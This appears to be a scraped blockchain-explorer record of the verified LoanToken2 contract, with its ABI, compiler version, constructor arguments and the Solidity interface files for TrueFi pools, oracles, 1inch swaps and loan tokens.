":[],"name":"debt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enterDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getParameters","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInitialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRepaid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"state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ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum 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ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ITrueFiPoolOracle.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20WithDecimals} from "IERC20WithDecimals.sol"; /** * @dev Oracle that converts any token to and from TRU * Used for liquidations and valuing of liquidated TRU in the pool */ interface ITrueFiPoolOracle { // token address function token() external view returns (IERC20WithDecimals); // amount of tokens 1 TRU is worth function truToToken(uint256 truAmount) external view returns (uint256); // amount of TRU 1 token is worth function tokenToTru(uint256 tokenAmount) external view returns (uint256); // USD price of token with 18 decimals function tokenToUsd(uint256 tokenAmount) external view returns (uint256); }

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ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum 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ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum 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v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

I1Inch3.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental ABIEncoderV2; interface I1Inch3 { struct SwapDescription { address srcToken; address dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } function swap( address caller, SwapDescription calldata desc, bytes calldata data ) external returns ( uint256 returnAmount, uint256 gasLeft, uint256 chiSpent ); function unoswap( address srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata /* pools */ ) external payable returns (uint256 returnAmount); }

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ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum 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ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ISAFU.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; interface ISAFU { function poolDeficit(address pool) external view returns (uint256); }

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ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum 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ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum 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ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ITrueFiPool2.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ERC20, IERC20} from "UpgradeableERC20.sol"; import {ITrueLender2, ILoanToken2} from "ITrueLender2.sol"; import {ITrueFiPoolOracle} from "ITrueFiPoolOracle.sol"; import {I1Inch3} from "I1Inch3.sol"; import {ISAFU} from "ISAFU.sol"; interface ITrueFiPool2 is IERC20 { function initialize( ERC20 _token, ERC20 _stakingToken, ITrueLender2 _lender, I1Inch3 __1Inch, ISAFU safu, address __owner ) external; function token() external view returns (ERC20); function oracle() external view returns (ITrueFiPoolOracle); /** * @dev Join the pool by depositing tokens * @param amount amount of tokens to deposit */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount) external; /** * @dev pay borrowed money back to pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 currencyAmount) external; /** * @dev SAFU buys LoanTokens from the pool */ function liquidate(ILoanToken2 loan) external; }

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Mutability":"view","type":"function"},{"inputs":[],"name":"lender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"contract ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ILoanToken2.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {ITrueFiPool2} from "ITrueFiPool2.sol"; interface ILoanToken2 is IERC20 { enum Status {Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated} function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function pool() external view returns (ITrueFiPool2); function profit() external view returns (uint256); function status() external view returns (Status); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function settle() external; function enterDefault() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function repayInFull(address _sender) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function isRepaid() external view returns (bool); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function token() external view returns (ERC20); function version() external pure returns (uint8); } //interface IContractWithPool { // function pool() external view returns (ITrueFiPool2); //} // //// Had to be split because of multiple inheritance problem //interface ILoanToken2 is ILoanToken, IContractWithPool { // //}

[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum ILoanToken2.Status","name":"status","type":"uint8"}],"name":"Liquidated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"borrower","type":"address"},{"indexed":false,"internalType":"uint256","name":"reclaimedAmount","type":"uint256"}],"name":"Reclaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"burnedAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"redeemedAmount","type":"uint256"}],"name":"Redeemed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"repayer","type":"address"},{"indexed":false,"internalType":"uint256","name":"repaidAmount","type":"uint256"}],"name":"Repaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Settled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"TransferAllowanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"beneficiary","type":"address"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"LAST_MINUTE_PAYBACK_DURATION","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"allowTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"apy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrower","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"debt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enterDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getParameters","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInitialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRepaid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"contract ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract 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v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ILoanToken.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface ILoanToken is IERC20 { enum Status {Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated} function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function profit() external view returns (uint256); function status() external view returns (Status); function borrowerFee() external view returns (uint256); function receivedAmount() external view returns (uint256); function isLoanToken() external pure returns (bool); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function settle() external; function enterDefault() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function repayInFull(address _sender) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function isRepaid() external view returns (bool); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function currencyToken() external view returns (IERC20); function version() external pure returns (uint8); }

